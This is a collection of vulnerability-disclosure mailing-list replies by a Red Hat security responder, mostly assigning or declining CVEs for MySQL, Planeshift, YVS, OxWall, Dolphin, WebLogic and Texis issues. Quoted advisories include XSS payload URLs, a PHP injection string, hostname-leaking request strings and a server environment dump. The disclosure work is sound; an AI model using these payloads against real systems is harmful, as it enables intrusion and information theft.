[Kurt Seifried]

-BEGIN PGP SIGNED MESSAGE-
Hash: SHA1

On 12/01/2012 02:26 PM, king cope wrote:
 (see attachment)
 
 Cheerio,
 
 Kingcope

So normally for MySQL issues Oracle would assign the CVE #. However in
this case we have a bit of a time constraint (it's a weekend and this
is blowing up quickly)  and the impacts are potentially quite severe.
So I've spoken with some other Red Hat SRT members and we feel it is
best to get CVE #'s assigned for these issues quickly so we can refer
to them properly.

If Oracle security has already assigned CVE's for these please let us
and the public know so we can use the correct numbers. Also if Oracle
can let the public know which versions of MySQL are affected (e.g.
5.0.x, 5.1.x, 5.5.x, etc.) that would be very helpful to everyone I am
sure.

I am also adding MySQL, Oracle, MariaDB, OSS-SEC, Steven Christey,
cve-assign and OSVDB to the CC so that everyone is aware of what is
going on.

Please use CVE-2012-5615 for MySQL Remote Preauth User Enumeration Zeroday

- -- 
Kurt Seifried Red Hat Security Response Team (SRT)
PGP: 0x5E267993 A90B F995 7350 148F 66BF 7554 160D 4553 5E26 7993

-BEGIN PGP SIGNATURE-
Version: GnuPG v1.4.12 (GNU/Linux)

iQIcBAEBAgAGBQJQuvILAAoJEBYNRVNeJnmTq4EP/1q0N43gHEOJuaPh3bbhxKbV
OHbkrZs0vUG+FFeEJyne0REvrTZmtG3a6eqS2kx/w8Q1kYMLSKcr2uFst9wNmoY0
CD8jF9vXiS8gGag8OmYyJWMCjNvU8e1BOlny2gJ9daLzauFXPW2OoKVbPDP79hxx
mbnX+jMrddhRgM1zZARYvx1/r9CuyjHLiRVDOBfLhErGGDAq2CqzRQubAZ0F+cx2
wW6UsdR7FOqzxso4TuKHf+Nvcfy9mShTOfWHVj4KwhemVr/yIDMdtkXlne8xfa29
HP+kHv7miOXdavH5Q6w781D+54F+QEzHnou2/Vbkj/11Cs5J6a10/caJct5JSIWJ
bH901vvroVCofABEPA5z2h9h51/6PWQpgJmQUmxIyyX66+JKQwaG6pGtP4y9wcpf
OSeA3SnyRSN7XVrCySjMRt2WVnXcErXHCUNTKpmypG1pj5eGxLy+hGJCvr4v58Uw
h1W/9gkkqyhO7e0LApob7kqG2byfEsBmF4T26CPBHkHDkw+89Hs4ePAbzEI+lwvf
/iImwWQC+FnG4w1+bL+BJroXevqtA45H79mrGjQkTEzEnXxst+R8i++NcoBTaWDY
ABK6XWm2toq+omjkFqlaP2BSD32raVQ1QnJ+utMrCEdl7quIiDs94tV1pz+bWz0g
kXLnnG3gByi3oPegh09a
=Var9
-END PGP SIGNATURE-

Re: [Full-disclosure] MySQL 5.1/5.5 WiNDOWS REMOTE R00T (mysqljackpot)

[Kurt Seifried]

-BEGIN PGP SIGNED MESSAGE-
Hash: SHA1

On 12/01/2012 11:41 AM, king cope wrote:
 *** FARLiGHT ELiTE HACKERS LEGACY R3L3ASE ***
 
 Attached is the MySQL Windows Remote Exploit (post-auth, udf 
 technique) including the previously released mass scanner. The
 exploit is mirrored at the farlight website
 http://www.farlight.org.
 
 Cheerio,
 
 Kingcope

So in the case of this issue it appears to be documented (UDF, do not
run MySQL as administrator, etc.). As I understand CVE assignment
rules this issue does not require a CVE, however just to be on the
safe side I'm CC'ing MySQL, Oracle, MariaDB, OSS-SEC, Steven Christey,
cve-assign and OSVDB to the CC so that everyone is aware of what is
going on.

- -- 
Kurt Seifried Red Hat Security Response Team (SRT)
PGP: 0x5E267993 A90B F995 7350 148F 66BF 7554 160D 4553 5E26 7993

-BEGIN PGP SIGNATURE-
Version: GnuPG v1.4.12 (GNU/Linux)

iQIcBAEBAgAGBQJQuvLHAAoJEBYNRVNeJnmT9qkQAJQpvJbzLGsgqaX514YqIdIv
cxa7hjTeTEJQk6M9Do2QRdzUekUqNc6rAVW06TAnnSjE1aBoiFmpKqr38VzD/7BX
27ZuSpEPHeVYqKwruMzmV51b/0/4C5TqVRhgC5vxW9iXHUp2srKvaSxYlnZ6aRg4
R8vXbYc+FDW2T5bL0EFe0YTRnzKAyvvrAVsbKfI0iQZ/oVvOZcZ7k4HEyhfphzCZ
rQuMkJMKYJ1VnzbWN1UWihWq3YF9Ciusw1wGJu4dLjjoMGzZvLZh3s6WzoITRA2y
TAxAAa/40ZfF1ONJQ0/SKCGsQtABJiT0PXVB9jBLwnLsHYAXgLzz200vn2DvOz/g
dNHj17gcBlyIlTJfYHvnRw5F0igixTevDI6QxsefrECFJOs5zCFaiB71jcrMVOAT
PLyapA4+oJdtpPgIwF3CozwzVpRSZmJ9fjkJEpVWjZP3TZGM94Xm+B/tlGrrzCSr
zM2hBG3JRAoCNW48Wdf0MLe6FEAHoQSGVqBVmjqjohPqQ1eoJXOoz0xl6NsD5HRb
VQJsx9G1L8u6T0F4C8cC6v+QJKASF+/ZxLfprU8W8IuZZ9CmVxoMht0Ny82nnKkc
MdezH/13+WfmuAZ+yxtRgC7h5pHN3phSKFVlNiGm07hlnFW0igwGi176xTo/pX3K
0WF2FT8pjtvcglpV+uez
=JAto
-END PGP SIGNATURE-

Re: [Full-disclosure] MySQL (Linux) Heap Based Overrun PoC Zeroday

[Kurt Seifried]

-BEGIN PGP SIGNED MESSAGE-
Hash: SHA1

On 12/01/2012 02:26 PM, king cope wrote:
 (see attachment)
 
 Cheerio,
 
 Kingcope

So normally for MySQL issues Oracle would assign the CVE #. However in
this case we have a bit of a time constraint (it's a weekend and this
is blowing up quickly)  and the impacts are potentially quite severe.
So I've spoken with some other Red Hat SRT members and we feel it is
best to get CVE #'s assigned for these issues quickly so we can refer
to them properly.

If Oracle security has already assigned CVE's for these please let us
and the public know so we can use the correct numbers. Also if Oracle
can let the public know which versions of MySQL are affected (e.g.
5.0.x, 5.1.x, 5.5.x, etc.) that would be very helpful to everyone I am
sure.

I am also adding MySQL, Oracle, MariaDB, OSS-SEC, Steven Christey,
cve-assign and OSVDB to the CC so that everyone is aware of what is
going on.

Sorry forgot the CVE the first time:

Please use CVE-2012-5611 for MySQL (Linux) Stack based buffer overrun
PoC Zeroday

- -- 
Kurt Seifried Red Hat Security Response Team (SRT)
PGP: 0x5E267993 A90B F995 7350 148F 66BF 7554 160D 4553 5E26 7993

-BEGIN PGP SIGNATURE-
Version: GnuPG v1.4.12 (GNU/Linux)

iQIcBAEBAgAGBQJQuvaJAAoJEBYNRVNeJnmTAMYP/Rcnlwbcl0ltQRYLJ1QrGRDw
vYNB1mcNdEHxdm0oT5O/Ni97IZUGRi+Xdg3Ed3TOm/17Xpx2AHN0MsLJT6Agp7fZ
2KwZnq/aD891+bnj7AtcUz/uz3r/fqsJ0uSPdY6dDAQQHD0No92MDnCCZbfRgW50
7/XoNGEUhVjVmTDSwj2s8GatrP76F7SwrJu49fomEvNsyJrKYn0V9rEYoOO8aohz
OKLgj9ny38mTIlKXISCBMGHdcYWpjAjR/uDd+uxK5Wez907nfjSchvCDJLIRW8wY
um2/sXL976LHowetAt6JmXZCUQKQi/QnFiCHnuBtYrdh531pIFAh563e5IYBXKOc
/YbpE8ZtYC3P9Cc31B8HAGHWnPTrYo8LyobxFNpoKeAb8b/z2ygOV/000Eop6wfB
r9OzD8z3N7Egn6NxAXBfUb2MP+YRZTBlLWkgIjE6LyE/AHVX7h7l+cXp4E01ZFfx
gpBA/jbsgFM2ECx2logK6k49a4WmW2IQ+zjbg3TPYBCyrffsAyfUiIAj89jYjLG4
DTDeN2n7rtoluecjbJrQUkAk/C50yMv0tmfHtTxmfcxh+W+sl8X91LTWpTLpSKGI
lhfDW/5ZsvZ5qizEeR3VHTiXhIGyqk3hf+hHDpOlh2S79rhlPqNoXvCKiuMs9zeW
ajNkKDLhoKOmlCPbsCVE
=UJUX
-END PGP SIGNATURE-

Re: [oss-security] CVE Request: Planeshift buffer overflow

[Kurt Seifried]

-BEGIN PGP SIGNED MESSAGE-
Hash: SHA1

On 05/17/2012 08:52 AM, Andres Gomez wrote:
 Name: Stack-based buffer overflow in Planeshift 0.5.9 and earlier 
 Software: Planeshift 0.5.9 Software link:
 http://www.planeshift.it/ Vulnerability Type: Buffer overflow
 
 Vulnerability Details:
 
 There is a buffer overflow in planeshift/src/client/chatbubbles.cpp
 line 223:
 
 . . .
 
 // align csString align = chatNode-GetAttributeValue(align); 
 align.Downcase(); if (align == right) chat.textSettings.align =
 ETA_RIGHT; else if (align == center) chat.textSettings.align =
 ETA_CENTER; else chat.textSettings.align = ETA_LEFT;
 
 // prefix 223  strcpy(chat.effectPrefix, 
 chatNode-GetAttributeValue(effectPrefix));
 
 //enabled . . .
 
 this line reads a tag inside chatbubbles.xml called effectPrefix.
 If that string is very long, for example:
 
 chat type=say enabled=yes colourR=186 colourG=168
 colourB=126 shadowR=108 shadowG=98 shadowB=73 align=left 
 effectPrefix=chatbubble_AA /
 
 It will overwrite effectPrefix[64] buffer, which can lead even to
 arbitrary code execution.
 
 
 Could a CVE be assigned to this issue?

I'm not familiar with this software (it's a game?) the chat bubbles,
can they come from remote users (like some sort of internal game chat)?


 Thanks,
 
 Andres Gomez.
 


- -- 
Kurt Seifried Red Hat Security Response Team (SRT)
PGP: 0x5E267993 A90B F995 7350 148F 66BF 7554 160D 4553 5E26 7993

-BEGIN PGP SIGNATURE-
Version: GnuPG v1.4.12 (GNU/Linux)
Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org/

iQIcBAEBAgAGBQJPtV+JAAoJEBYNRVNeJnmTRtcP/R+w6vfmWPlfF2DDjxmOS25f
qpAnIWXWQWAQ0xv1AJbbeuCd/ChnYG6BHiRpe3RQFHm2LeFJugfWIMrwJyWyVkuD
cf4/5+hxhc7tY8vze51C9budUQZoeo+jalGt5eoOk0mCUqDR2RoLn8Pg2UEzsloO
HNNWlWJ2xP3Qt2cuHbBMQIa3RUA0vFh+cUSP2mvLe//pS/FljLt5k78kV1wzAUEw
DsuxNYoNJ5DoMWSCltsXSsN0tbIGr5vlHkHkWfXzs7POB2dRtJakJj30AkPdpt7r
FZuwoEuvPRsLgrNa6LFpnsbFI9Bw0St3K+XKm+upa0S0o8plI/iUYFhuZOdTkpyf
GaHtSpRoeVZgW8M/yvM3k3Lh/nPywI/ORBrdLcELrgrjMTh/rMyAgh4IBYTYNpaX
Lyca8ZigbmyHzgWF8v/oujdu+9Pu9sdxlPxLMBv9omYa9Sqr8M6U0+OPbXDYzJD1
NQ1ReT2YYQml/KcX3H9/IQ9TL+/1/lpWnY5pEbx6ya/X7jVNKkkDOBAkwkSzgEgD
x5xYC8hxhXSDov3iIpzeZBlN3shRP+BKXCbhbb9ZxPN0fOI8IuJNVUaSzAxTQb5f
+jJuoWVkdr2Rp5cmOonX1wFo1LRvNH8ZD6FXOb+ano+Hwktm+aJCjyxpSSmqXOHb
mYPLwJ9J3ZupuIgFY/lx
=EgCI
-END PGP SIGNATURE-

Re: [oss-security] CVE Request: Planeshift buffer overflow

[Kurt Seifried]

-BEGIN PGP SIGNED MESSAGE-
Hash: SHA1

On 05/17/2012 03:29 PM, Andres Gomez wrote:
 Planeshift is an online multiplayer role playing game which is
 open source (http://en.wikipedia.org/wiki/PlaneShift_(video_game))
 and chatbubbles.xml is a sort of configuration file for chat
 windows inside the game, so I can't be changed directly by remote
 users.

It doesn't sounds like any security boundary is being crossed.

If you can edit that file I'm guessing you can also modify the other
game files (executables, libraries, etc.), so there is no escalation
of privilege as far as I can tell. If the ifle is owned by a unique
user (e.g. it's a local config thing) again, if you can edit a users
files you already have access, so no escalation of privilege. If this
is correct then I will not be assigning a CVE.

- -- 
Kurt Seifried Red Hat Security Response Team (SRT)
PGP: 0x5E267993 A90B F995 7350 148F 66BF 7554 160D 4553 5E26 7993

-BEGIN PGP SIGNATURE-
Version: GnuPG v1.4.12 (GNU/Linux)
Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org/

iQIcBAEBAgAGBQJPtaKRAAoJEBYNRVNeJnmThwQP/iLSfGP5gGSQOIN8skNBns6S
dr/Obla/Xjy1iADbIAuTTYcvvdp07HYlJANDN+VMKSPRQVpmhZhbr0hVq7FNsNZ9
L2j2BW6kpde0PxhKV6hOpLjUOATgfNYg573XPZNUKU7qEqRVAFasYjqikEiGV+lq
h63ISGt/bLVvTyZaJAqeUkZz6AWa9sQBYyJ4ixYatyuipA67dfD4bqkbpYwiYtV1
uy7b24hvW4GTV4bkz3LbZUNxzJuxCn2fv/HCMbbgXV6zlbw9/IhGrQfSyYOGzcn3
ZJtsByq+kzDDZdZ5QE3fGQRud0+5a4dc00cth9gyh76wHgfH6GGNDcdA3YVzcmBv
8rPR36LcUHvYCRLzn4+aP6A/y3FZOK++P/f5NofkuAMQsXmenGKhWuL3nex7LGRV
NYfycw+T89F1wPK5EB6HN0xjmfSxDKgsajHKuV4iJ0EqPwA45zVEFeFSAgqMhVBi
rVofuOF46iBeHYQHzW8tKU6y13+uC6kMh78U9ekFR1sAR5pYrot5BakBJkCsWUo7
6X6NVl68OXiDXo8TkI9/OuDJFI7VVnzj2ccsOVRmAB+DKIqqRa6BRvv5aZ50OpfA
Q+0+0aPsLWJ7lMSDizvFDDw0PhdqPq3vkinBBKRVvSbs9UG1KnNt7ADzn7O7vigR
dXWRpeRoRNhHO/dfQawV
=Gbu8
-END PGP SIGNATURE-

Re: [oss-security] CVE Request: Planeshift buffer overflow

[Kurt Seifried]

-BEGIN PGP SIGNED MESSAGE-
Hash: SHA1

On 05/17/2012 09:53 PM, Andres Gomez wrote:
 Hi kurt,
 
 The fact that only local user can modify program files doesn't
 mean there is no security risk, there are a lot of examples but
 look at this:
 
 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-4620

That's a very different scenario than this one as I understand it.
TORCS actually has a realistic requirement for using TORCS files
supplied by the user (that are downloaded from remote sites/etc.).

 this is very similar, only local user can modify software files,
 but as defined by Mitre this bug allows user-assisted remote
 attackers to execute arbitrary code, because an attacker can
 deceive a user to download and use a specially crafted file. I
 accept the fact that chatbubbles.xml being a configuration file
 makes it harder to be replaced, but still there is a risk.

In the case of Planeshift the chatbubbles.xml is not supplied by the
user, it comes with the program and is installed into a system
directory. This is very different from the TORCS situation. If you can
convince a user to start replacing system config files than almost
every program needs a CVE by that definition (I can think of a few
hundred programs on Linux that have config files that result in other
programs/script/commands being run that can be easily obfuscated to do
nastiness).

Steven: comments, do you think this needs a CVE?

 Thanks for the feedback,
 
 Andres Gomez

- -- 
Kurt Seifried Red Hat Security Response Team (SRT)
PGP: 0x5E267993 A90B F995 7350 148F 66BF 7554 160D 4553 5E26 7993

-BEGIN PGP SIGNATURE-
Version: GnuPG v1.4.12 (GNU/Linux)
Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org/

iQIcBAEBAgAGBQJPtd97AAoJEBYNRVNeJnmT1QUP/3/cd2e5yH06fM07eGbLcb2Q
bOo4JsWhkDlkWV3t/Z02Ws6pWqL3349I4yHr79PDQXdoZcCyY2EAm7F7qz/C+DV+
4oCyPidZp/LihIqe4gpKs6Vzlzb9COiD8AlHKpkOKa5myUTVDeWpYgB0UYj/dfnZ
Of527MeK55eVOXzqAgPXFjfutQtRy31ibJ4KikHHHbE8PO+2OqpXZmgp1zgA4nnw
NZffzTe51GYGmFSTBaZlWGNgXN9qBZmevOmVOm577x5pBOOaewo22wFpHt8kf3U7
WrBHSPn5PZ4j4hfNeduss0j6s/Xk/2jlqDIN7vi1Orod9GN+CXo1TV538Z+XjMz5
CsolfvS5zfvfwTR4h9BxNWGuuu4gTSQXLo+uE4MnJhFqIjdEVeP9EY/CvebYipcp
+W9ceKz7v05fsaGe2UauY/QxuJpWKSsBKC77KiAErrqx3j9Wmd/3ENSYoh1wWDii
KJ5iHpxWRVZ19XWlCeOm5XzeeaThNOZZ+fQQx/0V6e9JkVNENc1nnilcV+htUhMj
cgWkLxLR7Bx71ti4kmY1cAPaWXcPzSFHhXcmL/qew66pJri6MawL1KTtzK9d346B
j9NcxjKszVpFrM19i1Q4+qbkYMiPFNOzCH52T362TrlYWGVr0BHNhaO1eK5vFYwr
EnNL8GTA4W/olByNcrBy
=isTV
-END PGP SIGNATURE-

Re: [oss-security] Case YVS Image Gallery

[Kurt Seifried]

On 02/27/2012 02:39 PM, Henri Salo wrote:
 On Mon, Feb 27, 2012 at 09:31:52AM -0700, Kurt Seifried wrote:
 If you make a list of issues (e.g. XSS, CSRF, etc) with the code
 examples I can assign the various blocks of issues CVEs.
 
 1. ./administration/install.php opens ../functions/db_connect.php and writes 
 to file without input validation leading to PHP code injection with all 
 variables if any contains for example: ;} ? ?php print(Hello World); 
 exit() ?
 
 Note that install guide in web says: after instalation is complete, delete 
 the install.php file and install.php does not need permissions.

Never heard back, for now I'm going to go with the it's documented,
therefore it's not a bug but a config issue

 2. ./administration/create_album.php does not have proper input validation 
 leading to stored XSS, which can only be added by administrators, but I don't 
 think this as a limit after other vulnerabilities. XSS will also be shown to 
 normal users (mainpage).
 
 - Henri Salo

Please use CVE-2012-1564 for the XSS in administration/create_album.php
issue.

-- 
Kurt Seifried Red Hat Security Response Team (SRT)

Re: [oss-security] OxWall 1.1.1 = Multiple Cross Site Scripting Vulnerabilities

[Kurt Seifried]

-BEGIN PGP SIGNED MESSAGE-
Hash: SHA1

On 02/20/2012 09:53 AM, YGN Ethical Hacker Group wrote:
 1. OVERVIEW
 
 OxWall 1.1.1 and lower versions are vulnerable to Cross Site Scripting.
 
 
 2. BACKGROUND
 
 Oxwall is a free open source software package for building social
 networks, family sites and collaboration systems. It is a flexible
 community website engine developed with the aim to provide people with
 a well-coded, user-friendly software platform for social needs. It is
 easy to set up, configure and manage Oxwall while you focus on your
 site idea. We are testing the concept of free open source community
 software for complete (site,sub-site setups) and partial
 (widgets,features) community and collaboration solutions for companies
 and individuals.
 
 
 3. VULNERABILITY DESCRIPTION
 
 Multiple parameters were not properly sanitized, which allows attacker
 to conduct Cross Site Scripting attack. This may allow an attacker to
 create a specially crafted URL that would execute arbitrary script
 code in a victim's browser.
 
 
 4. VERSIONS AFFECTED
 
 1.1.1 and lower
 
 
 5. PROOF-OF-CONCEPT/EXPLOIT
 
 URL: http://localhost/Oxwall/join
 
 Injected Attack String: 'scriptalert(/XSS/)/script
 Method: HTTP POST
 Vulnerable Parameters: captchaField, email, form_name  ,password
 ,realname  ,repeatPassword ,username
 
 
 
 URL: http://localhost/Oxwall/contact
 
 Injected Attack String: 'scriptalert(/XSS/)/script
 Method: HTTP POST
 Vulnerable Parameters: captcha, email, form_name  ,from , subject
 
 
 URL: 
 http://localhost/Oxwall/blogs/browse-by-tag?tag=%27%22%3E%3Cscript%3Ealert%28/XSS/%29%3C/script%3E
 Vulnerable Parameter: tag
 
 
 
 Vulnerable Parameter: RAW-URI
 
 http://localhost/Oxwall/photo/viewlist/tagged/img src=xs 
 onerror=alert('XSS')
 
 http://localhost/Oxwall/photo/viewlist/%22style%3d%22position:fixed;width:1000px;height:1000px;display:block;left:0;top:0%22onmouseover=alert%28%27XSS%27%29;%22x=
 
 http://localhost/Oxwall/video/viewlist/%22style%3d%22position:fixed;width:1000px;height:1000px;display:block;left:0;top:0%22onmouseover=alert%28%27XSS%27%29;%22x=
 
 
 6. SOLUTION
 
 Upgade to the latest version of Oxwall.
 
 
 7. VENDOR
 
 Oxwall Foundation
 http://www.oxwall.org/
 
 
 8. CREDIT
 
 Aung Khant, http://yehg.net, YGN Ethical Hacker Group, Myanmar.
 
 
 9. DISCLOSURE TIME-LINE
 
 2011-06-09: notified vendor
 2012-02-20: vulnerability disclosed
 
 
 10. REFERENCES
 
 Original Advisory URL:
 http://yehg.net/lab/pr0js/advisories/%5BOxWall_1.1.1%5D_xss
 Oxwall Home Page: http://www.oxwall.org/
 
 
 #yehg [2012-02-20]

Please use CVE-2012-0872 for these XSS issues.

- -- 
Kurt Seifried Red Hat Security Response Team (SRT)
-BEGIN PGP SIGNATURE-
Version: GnuPG v1.4.12 (GNU/Linux)
Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org/

iQIcBAEBAgAGBQJPQtHCAAoJEBYNRVNeJnmTiKoP/A9I5fFvOOi9SFbkHWQPTWu/
ID9i4VEPeH+YyGITSjx2J0nC4IaSr30DMemc4XjQqpRUz15KjmQYXapS+hDJXa7f
9XpzUERrQPaghyIJG1X81pj2ONmS9euT31SNtH7iMt+4QD6K7ZOkOFFMSD0ViJS4
+4CrCIyQ26wrmcaZ164JT6WeJNFzmZk1Fp6QMoyclMvQh0pzaN2I7fVb8lUQXI7C
V9T3BIfpPVqoVrX69Ki5ojULLJL/EJhXKaAewUwfHsrX/KikFLq530/6x7+wjGXN
+/GauH/IO4BB7XytY57sbILcfDwWKJycLbg8D+M/9QO+cp047HQD8AFHDAkTLjCL
N2+9ckRyr3z4a5Ou9/Vfa6Fpg50RJ752ErDMOF2GQ4enkf7+LZuHmHmsVKEVUJWI
TfxpaTyYLiUTnVPcazz8mqEXSuFw8gkdBGvjQpD3vTlVCNjfPZY3naqC2aWGOu2b
VHnIbF/TDoi3oV/7Tu68pFcKeoopVEs3ENmdJagM4qINgs7xw3XtDJuICS1a8A70
DJIsbHeASbbvtpEk0X69WzbC6QJuufhHImEAohfrhww8tZ+lqFkE0esaRBEGNGe2
Hl4sXVCL9UgiGbXYO+VNohpnGAf+eWRL/fhLoBnU906sUkllXTDAfqBv6Ehey8u8
dGs82XRcilij2gX4LabZ
=Sh3G
-END PGP SIGNATURE-

Re: [oss-security] Dolphin 7.0.7 = Multiple Cross Site Scripting Vulnerabilities

[Kurt Seifried]

On 02/20/2012 10:05 AM, YGN Ethical Hacker Group wrote:
 1. OVERVIEW
 
 Dolphin 7.0.7 and lower versions are vulnerable to Cross Site Scripting.
 
 
 2. BACKGROUND
 
 Dolphin is the only all-in-one free community software platform for
 creating your own social networking, community or online dating site
 without any limits and under your full control. Dolphin comes with
 hundreds of features, module plugins and tools. Everything is included
 and extension posibilities are literally endless. You can use it for
 free with a BoonEx link in the footer or buy a $99 permanent license
 to remove that requirement.
 
 
 3. VULNERABILITY DESCRIPTION
 
 Multiple parameters (explain,photos_only,online_only,mode) were not
 properly sanitized, which allows attacker to conduct Cross Site
 Scripting attack. This may allow an attacker to create a specially
 crafted URL that would execute arbitrary script code in a victim's
 browser.
 
 
 4. VERSIONS AFFECTED
 
 7.0.7 and lower
 
 
 5. PROOF-OF-CONCEPT/EXPLOIT
 
 Vulnerable Parameter: explain
 
 http://localhost/dolph/explanation.php?explain=%27%22%3E%3Cscript%3Ealert%28/xss/%29%3C/script%3E
 
 
 Vulnerable Parameters: photos_only,online_only,mode
 
 http://localhost/dolph/viewFriends.php?iUser=1page=1per_page=32sort=activityphotos_only='scriptalert(/xss/)/script
 
 http://localhost/dolph/viewFriends.php?iUser=1page=1per_page=32sort=activityonline_only='scriptalert(/xss/)/script
 
 http://localhost/dolph/viewFriends.php?iUser=1page=1sort=activitymode='scriptalert(/xss/)/script
 
 
 6. SOLUTION
 
 Upgade to the latest version of Dolphine.
 
 
 7. VENDOR
 
 BoonEx Pty Ltd
 http://www.boonex.com/
 
 
 8. CREDIT
 
 Aung Khant, http://yehg.net, YGN Ethical Hacker Group, Myanmar.
 
 
 9. DISCLOSURE TIME-LINE
 
 2011-06-09: notified vendor
 2011-10-24: fixed version, 7.0.8, released
 2012-02-20: vulnerability disclosed
 
 
 10. REFERENCES
 
 Original Advisory URL:
 http://yehg.net/lab/pr0js/advisories/%5BDolphin_7.0.7%5D_xss
 BoonEx Home Page: http://www.boonex.com/
 
 
 #yehg [2012-02-20]

Please use CVE-2012-0873 for these XSS issues.

-- 
Kurt Seifried Red Hat Security Response Team (SRT)

Re: [Full-disclosure] RealVNC 4.1.1 Remote Compromise

[Kurt Seifried]

How is it that even though this vulnerability has been known now for
some time, Red Hat still has not issued a new package or security update
that addresses this?  On RHN, the most recent package I can find is
4.0.0 beta and the most recent security patch for VNC dates back to
December 2004.  Since Red Hat started distributing the package, why has
it not been kept up with?


Probably because customers are not bugging them to much for it?  I've never 
used vnc-server on Linux or seen it used to be honest, and although it is a 
nasty problem it's easy to deal with (just firewall it to trusted systems or 
wrap a VPN around it). They are obviously aware of this issue (it was fixed 
in Fedora Core 5, reported by Mark J. Cox).


https://bugzilla.redhat.com/bugzilla/show_bug.cgi?id=191692

-Kurt 

Re: OpenVPN 2.0.7 and below: Remote OpenVPN Management Interface Flaw

[Kurt Seifried]

While this is arguably a misfeature, it's not like anyone reading the
documentation wouldn't know about it, and you have to explicitly enable
it. It does not seem too much of a problem to me.

Joachim


Secure by default is not just a catch phrase. it's a really good idea. By 
making the default behaviour to be insecure (once enabled) the result will 
be many more insecure sites than if it was secured (i.e. authentication 
required) and had to be made insecure by design. Unfortunately although they 
have disabled it by default, once enabled it presents a huge security hole 
that most people would not expect. I would not expect an administrative 
service to be completely lacking in security once enabled, I suspect others 
are in the same boat.


As a developer:

If you disable it by default

And you make it use strong encryption such as TLS/SSL by default (linking to 
OpenSSL isn't to terribly hard)


And you require a user account to be created and passworded, or provide the 
ability to use PAM for example and require that a user belong to a specific 
group (openvpnadmin for example)


Then you make it much more difficult for people to end up with an insecure 
system.


-Kurt

Re: SendGate: Sendmail Multiple Vulnerabilities (Race Condition DoS, Memory Jumps, Integer Overflow)

[Kurt Seifried]

I think the people complaining should look at their fears, it appears to me 
that they are coming from a position of fear (lack of percieved control over 
their systems, etc.) which is leading to anger and hatred that is being 
directed outwards (at the closest target which to them is the people 
actually responsible for the software and in a position of power/control). I 
also suspect they have fears of not appearing to be in control or a position 
of power with others (a.k.a. approval seeking behavior) which results in 
this posturing behavior that actually results in them appearing quite 
helpless and childlike (quite the opposite of how they want to appear).


It's interesting that the people being attacked have made significant to 
huge positive contributions to the world (sendmail was the killer app for 
the Internet, which in turn depended on BIND), ditto for OpenSSH, it's the 
killer app for remote access, or maintaining the security of widely used 
operating systems.


On the side of the complainers I ... well to be frank I'm not aware of any 
positive contributions they have made to the world.


Can we please end this thread? The longer it goes on the more angry and 
bitter the complainers are going to become which isn't benefiting anyone.


-Kurt

Re: Let's have fun with EICAR test file

[Kurt Seifried]

- - Detection of known viruses variants using only signatures has its
limits.
- - Obviously, there are as many algorithms as there are AVs. But no one
can claim the absolute truth.
- - Emulation isn't always used or inneficient.
- - Even with known viruses, AVs aren't absolutely reliable; just modify
a few bytes and they are blind.
- - In case of true harmful code, heuristics are aware. But there are some
breachs...
- - Signatures aren't always optimal.
- - AVs have weird behaviors: often it's all or nothing, a good
identification
or... the void. Above all, why not a common naming for viruses?
- - Viruses research is a hard topic, whether it is for known or unknown
viruses.
- - Is RAV a good choice for Microsoft (don't kick my head!)?

These reccomendations and the test are largely meaningless. For all we know
some of the AV vendors look for that exact string, i.e. have a very
simplistic detection method. Had these tests actually been done using a
real virus (say one of the more recent mass mailers like klez or sobig)
they might be meaningful. Now I'm not saying AV products are perfect, who
knows maybe the NOP/JMP tricks will work with real viruses, but I wouldn't
assume so until actually tested.

In any event most AV is a reactive solution, bound to fail at some point
because of the time delay between virus in the wild and installaiton of
signature on user's platform.

Kurt Seifried, [EMAIL PROTECTED]
A15B BEE5 B391 B9AD B0EF
AEB0 AD63 0B4E AD56 E574
http://seifried.org/security/

Re: BEA WebLogic internal hostname disclosure

[Kurt Seifried]

 Hi,

 During a penentration test, I discovered that the BEA Weblogic Server
 reveals it hostname (on windows machines NetBIOS name) while sending the
 following request:

 GET . HTTP/1.0\r\n\r\n

 On older systems (Weblogic 7.0), a simple BLAH . BLAH\r\n\r\n will do
 the same trick.  BEA was contacted about two weeks ago, but I haven't
 heard from them (yet).

 Regards,
 Michael

Reveals hostname:
./
.//
.//
.%20
.%20%20
..

Does not reveal hostname:
...
.a
.1
.\
.%21

Seems that a single . or a . followed by a special character such as
/ or %20 (space) works. Don't know what other special characters work.


Kurt Seifried, [EMAIL PROTECTED]
A15B BEE5 B391 B9AD B0EF
AEB0 AD63 0B4E AD56 E574
http://seifried.org/security/

Re: @(#)Mordred Labs advisory - Texis sensitive information leak

[Kurt Seifried]

Confirmed. Time to configure your web application proxies to block the
naughty strings. Doing a google search for texis.exe turns up some
interesting sites, all of which respond to ?-dump and ?-version.  The
information provided is significant including local ip and forwarding IP (so
you can determine load balancing/etc setups quite easily):

==
Environment
ALLUSERSPROFILE='C:\Documents and Settings\All Users'
CommonProgramFiles='C:\Program Files\Common Files'
COMPUTERNAME='SDTIWEB'
ComSpec='C:\WINNT\system32\cmd.exe'
CONTENT_LENGTH='0'
GATEWAY_INTERFACE='CGI/1.1'
HTTPS='off'
HTTP_ACCEPT='image/gif, image/x-xbitmap, image/jpeg, image/pjpeg,
application/vnd.ms-excel, application/msword, application/x-shockwave-flash,
*/*'
HTTP_ACCEPT_LANGUAGE='en-us'
HTTP_CONNECTION='keep-alive'
HTTP_HOST='www.[VICTIM_NAME_REMOVED].com'
HTTP_USER_AGENT='Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)'
HTTP_VIA='1.1 [WEB_PROXY_REMOVED]:3128 (Squid/2.4.STABLE7)'
HTTP_ACCEPT_ENCODING='gzip, deflate'
HTTP_X_FORWARDED_FOR='10.2.0.20'
HTTP_CACHE_CONTROL='max-age=259200'
INSTANCE_ID='1'
LOCAL_ADDR='192.168.12.22'
NUMBER_OF_PROCESSORS='2'
Os2LibPath='C:\WINNT\system32\os2\dll;'
OS='Windows_NT'
Path='C:\WINNT\system32;C:\WINNT;C:\WINNT\System32\Wbem'
PATHEXT='.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH'
PATH_TRANSLATED='N:\[VICTIM_NAME_REMOVED]\Inetpub\betaroot'
PROCESSOR_ARCHITECTURE='x86'
PROCESSOR_IDENTIFIER='x86 Family 6 Model 11 Stepping 1, GenuineIntel'
PROCESSOR_LEVEL='6'
PROCESSOR_REVISION='0b01'
ProgramFiles='C:\Program Files'
QUERY_STRING='-dump'
